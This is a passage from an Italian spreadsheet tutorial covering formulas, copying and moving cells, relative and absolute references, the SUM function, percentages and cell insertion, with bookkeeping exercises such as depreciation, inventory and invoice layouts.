Le espressioni esplicite possono contenere operatori e operandi: gli operatori sono i simboli aritmetici che rappresentano un'operazione da compiere, come '`+`', '`-`',... Gli operandi sono dei componenti che rappresentano un dato su cui si può applicare un'operazione. Un operando può essere un valore costante, una variabile (costituita dalla coordinata di una cella), una zona di celle (quando il contesto ne consente l'uso), una funzione, oppure una sotto-espressione (come quella contenuta tra parentesi tonde).

Nelle espressioni esplicite, le costanti numeriche si rappresentano tali e quali; per esempio, '`=A1+10`' è un'espressione in cui si somma il contenuto della cella A1 con il valore costante 10. Le costanti stringa devono essere delimitate tra apici doppi; per esempio, '`=A1&"ciao"`' produce il concatenamento di stringa tra il contenuto della cella A1 e la parola «ciao».

122.6.2 Inserimento facilitato degli operandi di un'espressione

Durante l'inserimento di un'espressione esplicita, invece di scrivere le coordinate delle celle a cui si vuole fare riferimento, è possibile portarvi sopra il cursore del foglio di lavoro, solitamente con un clic del primo tasto del mouse. Eventualmente, nello stesso modo si ottiene l'inserimento di zone più grandi di celle, selezionandole durante l'immissione dell'espressione.

Figura 122.80. Esempio di inserimento facilitato delle celle in un'espressione esplicita: si inizia digitando '`=`' quando il cursore dell'area di lavoro è sulla cella A3; si fa clic con il primo tasto del mouse sulla cella A1, ottenendone l'inserimento nell'espressione; si digita '`+10*`'; si fa clic con il primo tasto del mouse sulla cella A2; si preme [*Invio*] per concludere l'inserimento.

122.6.3 Controllo delle zone coinvolte in un'espressione

Quando si cerca di verificare il contenuto di un'espressione, può essere utile farsi aiutare dal programma, con un clic doppio del primo tasto del mouse sulla cella che la contiene. Ciò che si ottiene è di entrare in modalità di variazione, ma con i riferimenti alle celle o alle zone con colori differenti, con l'evidenziamento contestuale delle stesse celle a cui si fa riferimento. Nell'esempio che si vede nella figura successiva, dopo aver fatto il clic doppio sulla cella A3 che contiene una formula, si vedono le celle A1, A2, B1 e C2, contornate con colori diversi, ma gli stessi delle coordinate usate nell'espressione.

Figura 122.81. Facendo un clic doppio su una cella che contiene una formula, vengono evidenziati gli elementi variabili, assieme alle celle a cui questi fanno riferimento.

Ancora più interessante è al possibilità di modificare l'espressione afferrando (metaforicamente) la cella o la zona che ha un certo tipo di evidenziamento per raggiungere una cella o una zona differente, allo scopo di aggiornare contestualmente l'espressione.

Figura 122.82. Durante la verifica e variazione della formula, viene trascinato il contorno blu che inizialmente si trovava sulla cella A1, per raggiungere la cella C1, modificando contestualmente l'espressione.

	A	B	C
1	123,3	345	13
2	5,4	14	12
3	=C1+10*A2*(B1*C2)		

122.6.4 Copia normale delle celle

La copia di una zona di celle si ottiene generalmente attraverso tre fasi: selezione della zona, copia della zona, spostamento del cursore dell'area di lavoro sulla prima cella della zona di destinazione, richiesta di incollare la zona copiata. Successivamente, la zona copiata può essere incollata anche in altre posizioni, fino a quando se ne seleziona un'altra.

Per copiare e incollare secondo la modalità descritta, si possono usare diversi metodi: combinazioni di tasti (in due modi alternativi), bottoni della barra degli strumenti generali, funzioni del menù.

Tabella 122.83. Quattro modi per copiare e incollare.

Azione	Combinazioni di tasti	Combinazioni di tasti	Barra degli strumenti generali	Funzioni del menù
Copiare	Ctrl + C	Ctrl + Ins		`Modifica`, `Copia`
Incollare	Ctrl + V	Maiuscole + Ins		`Modifica`, `Incolla`

La figura successiva mostra i passaggi attraverso cui si svolge la copia di una zona: viene copiata la zona B2:B7 in C4:C9. Si può osservare che la copia riproduce tutti gli attributi associati alle celle originali, a parte quelli legati all'ampiezza (larghezza), che vanno controllati espressamente. Al termine della copia, la zona originale rimane contrassegnata da un bordo azzurro, fino a quando è possibile ripetere l'inserimento della stessa copia.

Figura 122.84. Le fasi della copia: selezione della zona, copia, individuazione della destinazione e inserimento.

Anche se la copia delle celle riproduce i contenuti e il formato associato alle celle originali, nei contenuti possono essere applicate delle modifiche, in presenza di espressioni esplicite con riferimenti a celle o a zone. Per esempio, si osservi la figura successiva, dove si vede la copia della zona A1:A3 in B2:B4, tenendo presente che le celle A2:A3 contengono delle espressioni esplicite; si può vedere che nella destinazione si ottiene una modifica coerente di tali espressioni.

Figura 122.85. La copia di espressioni esplicite porta alla modifica dei riferimenti alle celle, in forma relativa. Si mostrano le celle nel modo normale e anche in una modalità che rappresenta inalterate le espressioni inserite.

Figura 122.86. Un altro esempio di copia di espressioni esplicite, dove la zona copiata contiene un riferimento esterno a se stessa. Si può vedere che anche in questo caso tutti i riferimenti vengono modificati in modo relativo nella destinazione.

122.6.5 Copia per trascinamento

Ogni zona selezionata ha un simbolo speciale nell'angolo inferiore destro: un piccolo quadrato nero sporgente rispetto all'angolo stesso. Afferrando metaforicamente tale quadrato, facendo un clic con il primo tasto del mouse e trascinando, si ottiene la copia della zona nella direzione verso cui ci si dirige: la copia avviene effettivamente quando si rilascia il tasto del mouse.

La copia per trascinamento implica la modifica automatica delle espressioni esplicite, nello stesso modo in cui avviene con la copia normale; tuttavia, a differenza di quel tipo di copia si ottiene anche la modifica di tutti i valori numerici che hanno una rappresentazione intera. La figura successiva mostra i passaggi della copia: selezione, trascinamento e rilascio. Si può osservare che viene suggerito qual è il valore finale se si rilascia il tasto del mouse.

Figura 122.87. Copia per trascinamento di una zona di celle, ottenendo la trasformazione automatica del valore numerico contenuto.

	A
1	
2	123
3	ciao
4	
5	
6	
7	
8	
9	
10	
11	

	A	B
1		
2	123	
3	ciao	
4		
5		
6		
7		
8		
9		126
10		
11		

	A	B
1		
2	123	
3	ciao	
4	124	
5	ciao	
6	125	
7	ciao	
8	126	
9		
10		
11		

Gli esempi delle figure successive mostrano la copia per trascinamento di valori numerici di vario tipo, includendo le date e gli orari. Si può osservare che gli orari non vengono modificati, trattandosi di valori che si rappresentano internamente con numeri inferiori all'unità.

Figura 122.88. Copia per trascinamento verticale di valori numerici vari.

	A	B	C	D	E	F	G
1							
2	123	123,45	11 novembre	lunedì	12.34.00		
3							
4							
5							

	A	B	C	D	E
1					
2	123	123,45	11 novembre	lunedì	12.34.00
3	124	124,45	12 novembre	martedì	12.34.00
4	125	125,45	13 novembre	mercoledì	12.34.00
5	126	126,45	14 novembre	giovedì	12.34.00
6	127	127,45	15 novembre	venerdì	12.34.00
7	128	128,45	16 novembre	sabato	12.34.00
8	129	129,45	17 novembre	domenica	12.34.00
9	130	130,45	18 novembre	lunedì	12.34.00
10					

Figura 122.89. Copia per trascinamento orizzontale di valori numerici vari.

	A	B	C	D	E
1	123				
2	123,45				
3	11 novembre				
4	lunedì				
5	12.34.00				
6					

	A	B	C	D	E
1	123	124	125	126	
2	123,45	124,45	125,45	126,45	
3	11 novembre	12 novembre	13 novembre	14 novembre	
4	lunedì	martedì	mercoledì	giovedì	
5	12.34.00	12.34.00	12.34.00	12.34.00	
6					
7					

122.6.6 Spostamento delle celle: taglia e incolla

Lo spostamento delle celle, noto prevalentemente come taglia-incolla, è un procedimento analogo alla copia, con la differenza che i dati originali vengono rimossi al completamento dell'operazione. Tuttavia esiste una differenza importante che riguarda il modo di cambiare i riferimenti alle celle all'interno delle espressioni esplicite.

Come per la copia, anche per lo spostamento sono possibili diverse modalità di approccio, come sintetizzato dalla tabella successiva.

Tabella 122.90. Quattro modi per tagliare e incollare.

Azione	Combinazioni di tasti	Combinazioni di tasti	Barra degli strumenti generali	Funzioni del menù
Tagliare	Ctrl + X	Maiuscole + Canc		*Modifica*, *Taglia*
Incollare	Ctrl + V	Maiuscole + Ins		*Modifica*, *Incolla*

La figura successiva mostra i passaggi attraverso cui si svolge lo spostamento di una zona: viene spostata la zona A2:A7 in C4:C9.

Figura 122.91. Le fasi dello spostamento delle celle: selezione della zona, taglio, individuazione della destinazione e inserimento.

Anche per lo spostamento dei dati è possibile sfruttare il trascinamento. In tal caso si deve selezionare la zona di origine; poi, dopo avere rilasciato il primo tasto del mouse usato per la selezione, si afferra metaforicamente l'area selezionata trascinandola nella destinazione. Per afferrarla si preme nuovamente il primo tasto del mouse quando il puntatore è sopra tale area e poi lo si sposta mantenendo premuto: quando si rilascia il tasto, la zona viene spostata.

Figura 122.92. Le fasi dello spostamento per trascinamento: selezione della zona, trascinamento, rilascio nella destinazione.

La modifica delle espressioni, a seguito dello spostamento delle zone, avviene in modo leggermente diverso rispetto alla copia, perché i riferimenti esterni non vengono modificati.

Figura 122.93. Lo spostamento di espressioni esplicite porta alla modifica dei riferimenti alle celle, ma solo nell'ambito della zona spostata. Nella figura si vedono sia i contenuti effettivi, sia i valori visualizzati.

122.6.7 Esercizio

Si vuole predisporre il piano di ammortamento di un'immobilizzazione, avente un costo storico pari a 20000,00 €, stabilendo un tasso di ammortamento annuo del 20 %. In pratica, si vuole ottenere un risultato come quello seguente, dove però le celle da D5 a E9 contengono delle formule adatte a eseguire i calcoli richiesti. La quota di ammortamento si ottiene moltiplicando il costo storico per la percentuale di ammortamento; il valore del fondo ammortamento si ottiene sommando la quota di ammortamento al valore che il fondo ha nell'anno precedente.

	A	B	C	D	E
1	piano di ammortamento				
2					
3	anno	costo storico	percentuale di ammortamento	quota di ammortamento	fondo ammortamento
4					
5	1	€ 20.000,00	20%	€ 4.000,00	€ 4.000,00
6	2	€ 20.000,00	20%	€ 4.000,00	€ 8.000,00
7	3	€ 20.000,00	20%	€ 4.000,00	€ 12.000,00
8	4	€ 20.000,00	20%	€ 4.000,00	€ 16.000,00
9	5	€ 20.000,00	20%	€ 4.000,00	€ 20.000,00

Per realizzare il lavoro, diversi dati e formule possono essere copiati; in particolare, per l'elenco degli anni conviene usare la copia per trascinamento, mentre per il costo storico e la percentuale di ammortamento ciò non conviene, perché altrimenti si ottiene l'incremento del valore rispettivo.

122.6.8 Funzione «somma()»

Tra tutte le funzioni, quella usata più frequentemente è ***somma()***, la cui sintassi è molto semplice: somma tutti gli argomenti forniti, i quali possono essere in quantità indefinita e può trattarsi anche di zone di celle.

SOMMA(***zona*** [***; zona***] ...)

Trattandosi della funzione usata più frequentemente e di solito da sola, è disponibile un bottone di inserimento rapido, sulla barra per il controllo dei contenuti delle celle: Σ. Selezionando tale bottone, si ottiene l'inserimento di una funzione somma nella cella attiva dell'area di lavoro, riferita a una zona di celle limitrofa, contenente valori numerici.

Figura 122.95. Somma guidata: prima si ottiene la somma della zona B1:B3, poi quella della zona A3:C3.

B5 — Somma

	A	B	C
1	111	555	999
2	222	666	111
3	333	777	222
4	444	888	333
5			

SOMMA — =SOMMA(B1:B4)

	A	B	C	D	E
1	111	555	999		
2	222	666	111		
3	333	777	222		
4	444	888	333		
5	=SOMMA(B1:B4)				

D3 — Somma

	A	B	C	D
1	111	555	999	
2	222	666	111	
3	333	777	222	
4	444	888	333	
5		2886		

SOMMA — =SOMMA(A3:C3)

	A	B	C	D
1	111	555	999	
2	222	666	111	
3	333	777		=SOMMA(A3:C3)
4	444	888	333	
5		2886		

122.6.9 Esercizio

Si vuole realizzare uno schema come quello seguente, nel quale si calcola la qualità media della merce consegnata. I valori della colonna «importo fattura» si ottengono moltiplicando la quantità per il prezzo unitario della riga; i valori della colonna «valore scartato» si ottengono moltiplicando la quantità scartata per il prezzo unitario della riga. Alla base delle colonne, escluso il caso del prezzo unitario, si calcola il totale dei valori soprastanti; nella cella E9 si calcola la percentuale media del valore della merce scartata; nella cella E10 si calcola la qualità media della merce consegnata, come il risultato della formula seguente:

$$100\% - \frac{valore_dei_pezzi_scartati}{valore_complessivo_della_merce}$$

Ovvero:

$$1 - \frac{valore_dei_pezzi_scartati}{valore_complessivo_della_merce}$$

I dati contenuti nelle celle E9 e E10 vanno rappresentati in forma percentuale, come nell'esempio.

	A	B	C	D	E
1	Qualità media della merce				
2	quantità consegnata	prezzo unitario	importo fattura	quantità scartata	valore scartato
3	1000	€ 1,50	€ 1.500,00	200	€ 300,00
4	2000	€ 1,20	€ 2.400,00	100	€ 120,00
5	1500	€ 1,30	€ 1.950,00	150	€ 195,00
6	3000	€ 1,00	€ 3.000,00	300	€ 300,00
7	2500	€ 1,20	€ 3.000,00	100	€ 120,00
8	10000		€ 11.850,00	850	€ 1.035,00
9				media della merce scartata:	8,73%
10				qualità media della merce:	91,27%

Per realizzare il lavoro, dove possibile, vanno copiate le formule, senza riscriverle.

122.6.10 Esercizio

Si vuole realizzare uno schema come quello seguente, nel quale si calcola la consistenza media del magazzino, sulla base dei movimenti di un certo articolo. L'esistenza di ogni riga, esclusa la prima che è data, si calcola sommando all'esistenza della riga precedente la quantità caricata e sottraendo la quantità scaricata; i giorni di permanenza vengono calcolati sottraendo dalla data di registrazione successiva quella della riga attuale; nella colonna «esistenza per permanenza» si calcola semplicemente il prodotto tra la quantità esistente nella riga e i giorni di permanenza relativi. Le colonne dei giorni di permanenza e del prodotto tra esistenza e permanenza hanno il totale. La consistenza media si calcola come il rapporto con il totale dei prodotti di consistenza e permanenza, e tra il totale delle permanenze.

	A	B	C	D	E	F
1	Consistenza media					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza per permanenza
3	1 giugno			10000	9	90000
4	10 giugno	111		10111	35	353885
5	15 luglio		1223	8888	2	17776
6	17 luglio		5000	3888	19	73872
7	5 agosto	1111		4999	24	119976
8	29 agosto		3000	1999	17	33983
9	15 settembre	1000		2999	16	47984
10	1 ottobre		2500	499	41	20459
11	11 novembre	111		610	51	31110
12	1 gennaio				214	789045
13				consistenza media:	3687,13	

Va osservato che la data del 1 gennaio che appare per ultima, si riferisce all'anno successivo a quello preso in esame con le altre date riportate; diversamente, il valore che si otterrebbe nella cella E1 sarebbe negativo e, di conseguenza, errato. Inoltre, il valore dell'esistenza nella cella D3, è dato, perché non può essere ottenuto diversamente.

122.6.11 Esercizio

Si vuole modificare l'esercizio precedente, per aggiungere il calcolo dell'indice di rotazione e della durata media di permanenza. L'indice di rotazione si ottiene dividendo la quantità complessiva scaricata per la consistenza media (pertanto va aggiunto anche il totale della quantità scaricata); la durata media di permanenza, o giacenza media, si ottiene dividendo il tempo complessivo di giacenza per l'indice di rotazione.

$$indice_di_rotazione = \frac{quantità_complessiva_scaricata}{consistenza_media}$$

$$giacenza_media = \frac{tempo_complessivo}{indice_di_rotazione}$$

	A	B	C	D	E	F
1	Consistenza media, indice di rotazione, giacenza media					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza per permanenza
3	1 giugno			10000	9	90000
4	10 giugno	111		10111	35	353885
5	15 luglio		1223	8888	2	17776
6	17 luglio		5000	3888	19	73872
7	5 agosto	1111		4999	24	119976
8	29 agosto		3000	1999	17	33983
9	15 settembre	1000		2999	16	47984
10	1 ottobre		2500	499	41	20459
11	11 novembre	111		610	51	31110
12	1 gennaio		11723		214	789045
13	consistenza media:				3687,13	
14	indice di rotazione:				3,18	
15	giacenza media:				67,31	

122.6.12 Riferimenti relativi e riferimenti assoluti alle celle

In tutti gli esempi mostrati fino a questo punto, i riferimenti alle celle e alle zone di celle, sono stati di tipo «relativo», in quanto la copia produce un adattamento di tali coordinate in modo relativo. È possibile utilizzare coordinate assolute, inserendo un carattere dollaro, '`$`', all'inizio della porzione da bloccare. Le figure successive mostrano tre esempi in cui, nell'ordine, si usa un riferimento assoluto completo, un riferimento assoluto della sola colonna e un riferimento assoluto della sola riga.

Figura 122.103. La cella A3 contiene una formula in cui si fa riferimento alla cella A1 in modo assoluto, sia per la riga, sia per la colonna ($A$1). Copiando la cella A3 in B4, si vede che il riferimento assoluto ad A1 rimane fisso.

	A	B	C
1	123	456	
2		321	654
3	=$A$1+B1		

	A	B	C
1	123	456	
2		321	654
3	=$A$1+B1		
4		=$A$1+C2	

	A	B	C
1	123	456	
2		321	654
3	579		
4		777	

Figura 122.104. La cella A3 contiene una formula in cui si fa riferimento alla cella A1, specificando la colonna in modo assoluto ($A1). Copiando la cella A3 in B4, il riferimento originale alla cella A1 cambia in A2.

Figura 122.105. La cella A3 contiene una formula in cui si fa riferimento alla cella A1, specificando la riga in modo assoluto (A$1). Copiando la cella A3 in B4, il riferimento originale alla cella A1 cambia in B1.

Se invece di copiare si spostano le celle, i riferimenti assoluti non vengono presi in considerazione, perché lo spostamento deve mantenere valido il reticolo di tutti i riferimenti esistenti: sia relativi, sia assoluti. Si osservi attentamente la figura successiva, in cui si sposta una zona di celle: tutte le formule che fanno riferimento alla zona spostata vengono modificate, senza tenere in considerazione il fatto che le coordinate usate siano assolute o meno.

Figura 122.106. La zona A1:B2 viene spostata in B2:C3: si può osservare che, indifferentemente dal fatto che siano assoluti o meno, tutti i riferimenti alla zona spostata vengono modificati, mentre quelli che sono contenuti nella zona sposta e si rivolgono all'esterno, vengono mantenuti inalterati.

	A	B
1	=$A$4	=B2*2
2	=$A$1*2	=A4
3	=$A$1+B1	
4	123	
5		321

	A	B	C
1			
2		=$A$4	=C3*2
3	=$B$2+C2	=$B$2*2	=A4
4	123		
5		321	

	A	B
1	123	246
2	246	123
3	369	
4	123	
5		321

	A	B	C
1			
2		123	246
3	369	246	123
4	123		
5		321	

122.7 Percentuali

I valori percentuali vengono rappresentati internamente come valori già divisi per cento; per esempio, il 10 % corrisponde esattamente al valore 0,1.

122.7.1 Inserimento di un valore percentuale

Un valore percentuale può essere inserito convenientemente come un numero seguito immediatamente dal simbolo di percentuale, sia nel caso di una costante letterale, sia in un'espressione esplicita. Se però il valore non viene rappresentato come lo si desidera, occorre passare per la configurazione del formato della cella: `Formato`, `Celle`, `Numeri`.

Figura 122.107. Funzione `Formato`, `Celle`, `Numeri`, con la selezione di un formato percentuale.

122.7.2 Esercizi

Sperimentandolo con il foglio elettronico, si risponda alle domande successive.

122.7.2.1) A cosa corrisponde il valore 0,4012 se lo si rappresenta in percentuale?

122.7.2.2) A cosa corrisponde 12,34 % se lo si rappresenta nella forma numerica consueta?

122.7.2.3) A cosa corrisponde 100 % se lo si rappresenta nella forma numerica consueta?

122.7.3 Calcolo della porzione rimanente

Quando si calcolano gli sconti e anche in altre circostanze, si rende necessario determinare qual è il «complemento» di una certa percentuale. Per esempio, se di un certo valore si sta calcolando il 5 %, ciò che resta togliendo questo è il 95 % del valore originale. Eventualmente, con il foglio elettronico è possibile scrivere espressioni del tipo 100 % – 5 %, per trovare il 95 % dell'esempio appena fatto. Se si scrive un'espressione come quella dell'esempio, bisogna considerare che l'informazione sul fatto che si tratta di valori percentuali viene perduta; pertanto, inserendo

```
=100%-5%
```

si ottiene invece

```
=1-0,05
```

che è comunque equivalente; ciò che serve è piuttosto la regolazione del formato di rappresentazione, in modo da visualizzare ciò che si vuole effettivamente.

122.7.4 Esercizio

Lo sconto è una porzione di un valore che viene dedotto, per qualche motivo. Per esempio, applicare uno sconto del 10 % a un valore di 1234, significa sottrarre precisamente 123,4. Lo sconto indica la quantità che viene tolta, mentre il valore scontato è ciò che resta nel valore originale. Per calcolare la percentuale di ciò che resta, una volta tolto uno sconto, occorre eseguire il calcolo 100 % – ***sconto*** %.

Si vuole produrre uno schema come quello successivo, dove la zona C2:E4 è calcolata automaticamente attraverso delle formule:

	A	B	C	D	E
1	valore originale	percentuale dello sconto	percentuale del netto rimanente	valore dello sconto	valore del netto rimanente
2	10000	5,00%	95,00%	500	9500
3	2000	10,00%	90,00%	200	1800
4	15000	3,00%	97,00%	450	14550

122.7.5 Esercizio

Si vuole realizzare uno schema simile a quello dell'esercizio precedente, in cui si calcolano due sconti in cascata. In questo caso, si applica prima uno sconto, poi, sul valore rimanente se ne applica un altro. Pertanto, il fatto di applicare in sequenza uno sconto del 3 % e poi uno sconto del 2 % significa che complessivamente è stato applicato uno sconto inferiore al 5 %.

Nello schema che si vede di seguito, la zona di celle D2:G4 è calcolata automaticamente attraverso delle formule:

	A	B	C	D	E	F	G
1	valore originale	percentuale del primo sconto	percentuale del secondo sconto	percentuale del netto rimanente	valore del primo sconto	valore del secondo sconto	valore del netto rimanente
2	10000	5,00%	1,00%	94,05%	500,00	95,00	9405,00
3	2000	10,00%	2,00%	88,20%	200,00	36,00	1764,00
4	15000	3,00%	1,50%	95,55%	450,00	218,25	14331,75

122.7.6 Verifica

Si riapra il file '`fattura-02.ods`' creato nell'esercitazione 122.5.8 e lo si salvi con il nome '`fattura-03.ods`'.

Il file '`fattura-03.ods`' va modificato inserendo alcuni dati di un corpo di una fattura: articolo, descrizione, quantità, sconti, prezzo unitario, aliquota IVA. Vanno anche predisposte le formule per il calcolo dell'importo, ottenuto moltiplicando la quantità per il prezzo unitario, deducendo i due sconti previsti su ogni riga del corpo. Per le caratteristiche del testo e il suo allineamento, si veda eventualmente quanto richiesto nelle verifiche precedenti della stessa serie.

Al termine delle modifiche, dopo avere salvato il nuovo lavoro, si deve procedere a produrre due stampe: una «normale» e un'altra in cui si visualizza la griglia delle celle, l'intestazione di riga e di colonna, e le formule. Nelle immagini successive si vedono la stampa normale e la stampa con la griglia, ma nel secondo caso non si mostrano le formule che invece devono apparire.

Figura 122.110. Stampa «normale». La scritta sovraimposta, contenente il nome del file, non deve apparire.

fattura-03.ods

codice cliente:

CF o PI:

Indirizzo di destinazione

data fattura | fattura n.

data e orario consegna o inizio trasporto

causale del trasporto

aspetto esteriore dei beni | n. colli

ordine: numero, data | documento di trasporto: numero, data | porto | trasporto a mezzo del

spese di trasporto | spese di imballo | pagamento

articolo	descrizione	quantità	sconto	sconto	prezzo	importo	IVA
aaa	Merce Alfa	123,00	3,00%	2,00%	1,57	183,57	4%
bbb	Merce Bravo	234,00	5,00%		2,89	642,45	4%
ccc	Merce Charlie	17,00	5,70%	1,00%	12,34	195,84	10%
ddd	Merce Delta	11,50			10,00	115,00	10%
eee	Merce Eco	12,30		3,00%	11,50	137,21	20%
fff	Merce Foxtrot	100,00	2,00%	3,00%	1,89	179,66	20%
ggg	Merce Golf	321,00		7,00%	2,00	597,06	20%
hhh	Merce Hotel	23,00	3,00%		5,00	111,55	20%

sconto sul totale:

riepilogo IVA

aliquota	imponibile	IVA
4%		
10%		
20%		
aliquota	imponibile	IVA
4%		
10%		
20%		

totale spese non documentate

totale IVA

spese documentate escluse dalla base imponibile

interessi

cauzioni

bolli

scadenza fattura

totale fattura

impresa incaricata del trasporto

annotazioni

firma del conducente o del vettore

firma del destinatario

contributo CONAI assolto ove dovuto

Figura 122.111. Stampa con la griglia e le intestazioni di riga e di colonna. La scritta sovraimposta, contenente il nome del file, non deve apparire. Nella stampa che si consegna, devono apparire anche le formule, eventualmente rimpicciolite se necessario.

	A	B	C	D	E	F	G	H	I	J	K
1			fattura-03.ods				codice cliente:				
2											
3											
4											
5							CF o PI:				
6										Indirizzo di destinazione	
7											
8											
9		data fattura		fattura n.							
10											
11		data e orario consegna o inizio trasporto									
12											
13		causale del trasporto									
14											
15		aspetto esteriore dei beni			n. colli						
16	--										--
17		ordine		documento di trasporto			porto		trasporto a mezzo del		
18		numero	data	numero	data						
19											
20		spese di trasporto			spese di imballo			pagamento			
21											
22		articolo	descrizione		quantità	sconto	sconto	prezzo	importo	IVA	
23		aaa	Merce Alfa		123,00	3,00%	2,00%	1,57	183,57	4%	
24		bbb	Merce Bravo		234,00	5,00%		2,89	642,45	4%	
25		ccc	Merce Charlie		17,00	5,70%	1,00%	12,34	195,84	10%	
26		ddd	Merce Delta		11,50			10,00	115,00	10%	
27		eee	Merce Eco		12,30		3,00%	11,50	137,21	20%	
28		fff	Merce Foxtrot		100,00	2,00%	3,00%	1,89	179,66	20%	
29		ggg	Merce Golf		321,00		7,00%	2,00	597,06	20%	
30		hhh	Merce Hotel		23,00	3,00%		5,00	111,55	20%	
31							sconto sul totale:				
32		riepilogo IVA					totale spese non documentate				
33		aliquota	imponibile	IVA				totale IVA			
34	--	4%						spese documentate escluse dalla base imponibile			--
35		10%						interessi			
36		20%						cauzioni			
37		aliquota	imponibile	IVA				bolli			
38		4%				scadenza fattura				totale fattura	
39		10%									
40		20%									
41		impresa incaricata del trasporto						annotazioni			
42											
43											
44											
45		firma del conducente o del vettore						firma del destinatario			
46											
47						contributo CONAI assolto ove dovuto					

122.8 Aggiunta ed eliminazione delle celle

Per modificare la struttura dei dati inseriti nell'area di lavoro, è possibile inserire o eliminare delle celle. Questo fatto ha delle implicazioni nelle espressioni che fanno riferimento ad altre celle.

122.8.1 Inserimento ed eliminazione di zone di celle

A differenza delle tabelle dei programmi di scrittura, nel foglio elettronico, l'inserimento o l'eliminazione di celle implica lo scorrimento di altre, da o verso destra, oppure da o verso il basso. La funzione di eliminazione delle celle è disponibile dal menù in `Modifica`, `Elimina celle`; quella di inserimento e disponibile in `Inserisci`, `Celle`. Queste funzioni sono disponibili anche da un menù contestuale che si ottiene premendo il terzo tasto del mouse (il destro), inoltre è possibile usare delle combinazioni da tastiera.

Tasto o combinazione di tasti	Menù	Azione ottenuta
Ctrl + +	`Inserisci`, `Celle`.	Inserisce delle celle spostando quelle della zona selezionata verso destra o verso il basso.
Ctrl + −	`Modifica`, `Elimina celle`.	Elimina le celle selezionate avvicinando le celle adiacenti da sinistra o dal basso.

Quando si richiede l'eliminazione o l'inserimento di celle, viene sempre chiesto come si devono comportare le celle limitrofe; lo si vede nelle figure successive.

Figura 122.113. Funzione `Modifica`, `Elimina celle`: si richiede da che parte devono scorrere le celle per rimpiazzare quelle che si eliminano.

Figura 122.114. Funzione `Inserisci`, `Celle`: si richiede da che parte devono scorrere le celle per lasciare il posto a quelle che si inseriscono.

Le figure successive mostrano diversi esempi di inserimento ed eliminazione di zone di celle.

Figura 122.115. Inserimento di una zona di celle con scorrimento di quelle presenti a destra: si può osservare che i riferimenti alle celle spostate seguono le modifiche, in ogni caso.

	A	B	C	D	E
1	1	2	3	4	5
2	2	3	4	5	6
3	3	4	5	6	7
4	4	5	6	7	8
5	5	6	7	8	9
6	6	7	8	9	10
7	7	8	9	10	11

	A	B	C	D	E	F	G
1	1	2	3	4	5		
2	2			3	4	5	6
3	3			4	5	6	7
4	4	5	6	7	8		
5	5	6	7	8	9		
6	6	7	8	9	10		
7	7	8	9	10	11		

	A	B	C	D	E
1	1	=A1+1	=B1+1	=C1+1	=D1+1
2	=A1+1	=A2+1	=B2+1	=C2+1	=D2+1
3	=A2+1	=A3+1	=B3+1	=C3+1	=D3+1
4	=A3+1	=A4+1	=B4+1	=C4+1	=D4+1
5	=A4+1	=A5+1	=B5+1	=C5+1	=D5+1
6	=A5+1	=A6+1	=B6+1	=C6+1	=D6+1
7	=A6+1	=A7+1	=B7+1	=C7+1	=D7+1

	A	B	C	D	E	F	G
1	1	=A1+1	=B1+1	=C1+1	=D1+1		
2	=A1+1			=A2+1	=D2+1	=E2+1	=F2+1
3	=A2+1			=A3+1	=D3+1	=E3+1	=F3+1
4	=A3+1	=A4+1	=B4+1	=C4+1	=D4+1		
5	=A4+1	=A5+1	=B5+1	=C5+1	=D5+1		
6	=A5+1	=A6+1	=B6+1	=C6+1	=D6+1		
7	=A6+1	=A7+1	=B7+1	=C7+1	=D7+1		

	A	B	C	D	E
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1
2	=$A$1+1	=$A$2+1	=$B$2+1	=$C$2+1	=$D$2+1
3	=$A$2+1	=$A$3+1	=$B$3+1	=$C$3+1	=$D$3+1
4	=$A$3+1	=$A$4+1	=$B$4+1	=$C$4+1	=$D$4+1
5	=$A$4+1	=$A$5+1	=$B$5+1	=$C$5+1	=$D$5+1
6	=$A$5+1	=$A$6+1	=$B$6+1	=$C$6+1	=$D$6+1
7	=$A$6+1	=$A$7+1	=$B$7+1	=$C$7+1	=$D$7+1

	A	B	C	D	E	F	G
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1		
2	=$A$1+1			=$A$2+1	=$D$2+1	=$E$2+1	=$F$2+1
3	=$A$2+1			=$A$3+1	=$D$3+1	=$E$3+1	=$F$3+1
4	=$A$3+1	=$A$4+1	=$B$4+1	=$C$4+1	=$D$4+1		
5	=$A$4+1	=$A$5+1	=$B$5+1	=$C$5+1	=$D$5+1		
6	=$A$5+1	=$A$6+1	=$B$6+1	=$C$6+1	=$D$6+1		
7	=$A$6+1	=$A$7+1	=$B$7+1	=$C$7+1	=$D$7+1		

Figura 122.116. Inserimento di una zona di celle con scorrimento di quelle presenti in basso.

	A	B	C	D	E
1	1	=A1+1	=B1+1	=C1+1	=D1+1
2	=A1+1	=A2+1	=B2+1	=C2+1	=D2+1
3	=A2+1	=A3+1	=B3+1	=C3+1	=D3+1
4	=A3+1	=A4+1	=B4+1	=C4+1	=D4+1
5	=A4+1	=A5+1	=B5+1	=C5+1	=D5+1
6	=A5+1	=A6+1	=B6+1	=C6+1	=D6+1
7	=A6+1	=A7+1	=B7+1	=C7+1	=D7+1
8					
9					

	A	B	C	D	E
1	1	=A1+1	=B1+1	=C1+1	=D1+1
2	=A1+1			=C4+1	=D2+1
3	=A2+1			=C5+1	=D3+1
4	=A3+1	=A2+1	=B4+1	=C6+1	=D4+1
5	=A4+1	=A3+1	=B5+1	=C7+1	=D5+1
6	=A5+1	=A4+1	=B6+1	=C8+1	=D6+1
7	=A6+1	=A5+1	=B7+1	=C9+1	=D7+1
8		=A6+1	=B8+1		
9		=A7+1	=B9+1		

	A	B	C	D	E
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1
2	=$A$1+1	=$A$2+1	=$B$2+1	=$C$2+1	=$D$2+1
3	=$A$2+1	=$A$3+1	=$B$3+1	=$C$3+1	=$D$3+1
4	=$A$3+1	=$A$4+1	=$B$4+1	=$C$4+1	=$D$4+1
5	=$A$4+1	=$A$5+1	=$B$5+1	=$C$5+1	=$D$5+1
6	=$A$5+1	=$A$6+1	=$B$6+1	=$C$6+1	=$D$6+1
7	=$A$6+1	=$A$7+1	=$B$7+1	=$C$7+1	=$D$7+1
8					
9					

	A	B	C	D	E
1	1	=$A$1+1	=$B1+1	=$C$1+1	=$D$1+1
2	=$A$1+1			=$C$4+1	=$D$2+1
3	=$A$2+1			=$C$5+1	=$D$3+1
